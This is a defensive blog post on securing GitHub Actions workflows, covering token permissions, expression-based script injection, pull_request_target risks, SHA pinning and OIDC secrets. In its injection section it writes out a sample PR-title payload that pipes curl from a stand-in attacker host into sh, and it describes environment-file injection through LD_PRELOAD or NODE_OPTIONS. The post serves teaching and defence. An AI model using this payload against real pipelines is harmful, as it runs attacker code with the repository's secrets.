← blog · November 20, 2026

Hardening GitHub Actions Workflows: Token Permissions, Script Injection, pull_request_target and SHA Pinning

Your CI pipeline is the most privileged code in your repository. Default token permissions, script injection through expressions, triggers that run fork code with your secrets and actions whose tags get moved: the holes that open most often and how to close them.

Your CI pipeline is the most privileged code in your repository. It holds the deploy credentials, the package publishing tokens and write access to the repository itself. Yet in most teams, workflow files get less review than anything else: copied from an example, made to work once, never looked at again. In GitHub Actions an attacker does not need to touch your code. A pull request title, a branch name or a third party action whose version tag was moved is enough. This post covers the four holes that open most often and how to close each of them.

1. Narrow the default token permissions

Every workflow run gets an automatic GITHUB_TOKEN. In older repositories and some organization settings that token comes with broad write access by default. Anyone who can run code in a step can push commits, create releases and move tags with it.

The right approach has two layers. First, set the default permission to read only at the repository or organization level. Then declare permissions explicitly in every workflow and widen them only for the job that needs it:

permissions: {}

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<full-commit-sha>
        with:
          persist-credentials: false
      - run: make test

  release:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - run: echo "only this job can write"

The top level permissions: {} drops everything, and each job asks for what it needs. A compromised test job can no longer write to the repository.

persist-credentials: false matters more than it looks. By default actions/checkout leaves the token in the git config of the working directory. Any dependency, build script or uploaded artifact in a later step can read it from disk. If you are not pushing back, do not leave it there.

2. Script injection: ${{ }} expands before the shell runs

This is the most common mistake and the least understood one. Workflow expressions are substituted into the text before the step executes. So this line:

- run: echo "Title: ${{ github.event.pull_request.title }}"

has the title pasted in before the shell ever sees it. A pull request titled "; curl attacker.example | sh; echo " runs a command on your runner. The same applies to every user controlled field: issue titles and bodies, comment text, branch names, commit messages, author names.

The fix is to pass the value as an environment variable, not as an expression:

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Now the value reaches the shell as data and is never parsed as code. Keep the variable quoted. The same rule holds inside actions/github-script: read the value from the environment instead of splicing the expression into JavaScript.

A less known side channel is the $GITHUB_ENV and $GITHUB_OUTPUT files. If you write an untrusted value into them without checking for newlines, an attacker can inject an extra line and define their own environment variable for later steps. Something like LD_PRELOAD or NODE_OPTIONS is all it takes to execute code in the next step.

3. The pull_request_target and workflow_run trap

The pull_request event runs changes from a fork with a read only token and no access to secrets. That is safe but sometimes limiting, so teams that want to label or comment on PRs switch to pull_request_target.

pull_request_target runs in the context of the base repository: secrets are available and the token can write. On its own it is safe, because it runs the workflow file from the base branch. The hole opens when this pattern is added:

on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

Code written by a stranger is now running with your secrets. An install script during npm install, the test command in package.json or a modified Makefile can ship every secret out.

The rules:

  • Inside pull_request_target, do not check out and execute the PR's code. Work only with metadata: labels, comments, the list of changed files.
  • If the PR code needs to be built and tested, do it under pull_request without privileges and save the result as an artifact. Let a separate workflow_run workflow do the privileged part, such as posting a comment.
  • Treat artifacts consumed in workflow_run as untrusted input. Fork code produced them. Do not feed their contents to a shell or into $GITHUB_ENV; parse them strictly into the shape you expect.
  • Watch caches under these triggers too. A job running in the privileged context can write to the base branch cache scope. If anything produced by fork code lands there, later builds on the main branch restore a poisoned cache.

4. Pin third party actions to a commit SHA

When you write uses: someone/some-action@v3, v3 is not an immutable version. It is a tag or a branch, and the owner can point it at any commit. If the owner's account is compromised, every existing tag can be redirected to a malicious commit, and every repository using it runs that code on its next run. This has happened in the wild and dumped secrets into the logs of thousands of repositories.

The only solid defence is a full length commit SHA:

- uses: actions/setup-node@<40-character-sha> # v4.1.0

The trailing comment is for humans. Dependabot and Renovate understand this format and open a PR that updates both the SHA and the comment when a new release ships. Pinning does not mean giving up on updates; it turns each update into a reviewable change.

Things to watch:

  • A short SHA is not enough. Use the full length.
  • If a pinned composite action calls another action by tag, that inner call is still mutable. For actions in critical jobs, look inside once.
  • Organization settings let you restrict which actions are allowed, and newer settings can require SHA pinning. A policy beats manual discipline every time.
  • For simple tasks such as uploading a file or running one command, a two line run step is often safer than adding a third party action at all.

Bind secrets to deployment environments

If you deploy to a cloud provider, use OIDC instead of storing a long lived access key as a repository secret. The workflow requests a short lived token with the id-token: write permission, and the cloud side validates it against a trust policy. The usual mistake is a trust policy that is too broad: a condition that only checks the repository name lets every branch and every PR workflow in that repository assume the production role. Tie the sub condition to a branch or a deployment environment.

Define deployment secrets at the environment level, not the repository level, and add required reviewers and a branch restriction to that environment. Even if a test job is compromised, the production secret never enters its context.

Self-hosted runners

Do not use self-hosted runners on public repositories. Depending on approval settings, a PR from a fork can run code on your machine and leave something behind for the next job on a persistent runner. Even for private repositories, building runners as ephemeral machines destroyed after each job is far easier than trying to keep a long lived server clean.

How to audit this

Reviewing workflow files by hand does not scale. actionlint catches syntax and expression errors and some injection patterns. zizmor is a static analyzer built specifically for Actions security: it reports script injection, dangerous triggers, unpinned actions and persisted credentials. Run both in CI, and put workflow files under mandatory review with CODEOWNERS. A change in .github/workflows carries more privilege than a change in application code.

When you do not need all of this

In a private repository that accepts no forks, holds no secrets and is pushed only by your own team, most of the pull_request_target advice does not apply. SHA pinning and narrow permissions still do: a supply chain attack does not care whether your repository is public. Those two steps give the most protection for the least effort. If you do nothing else, do those.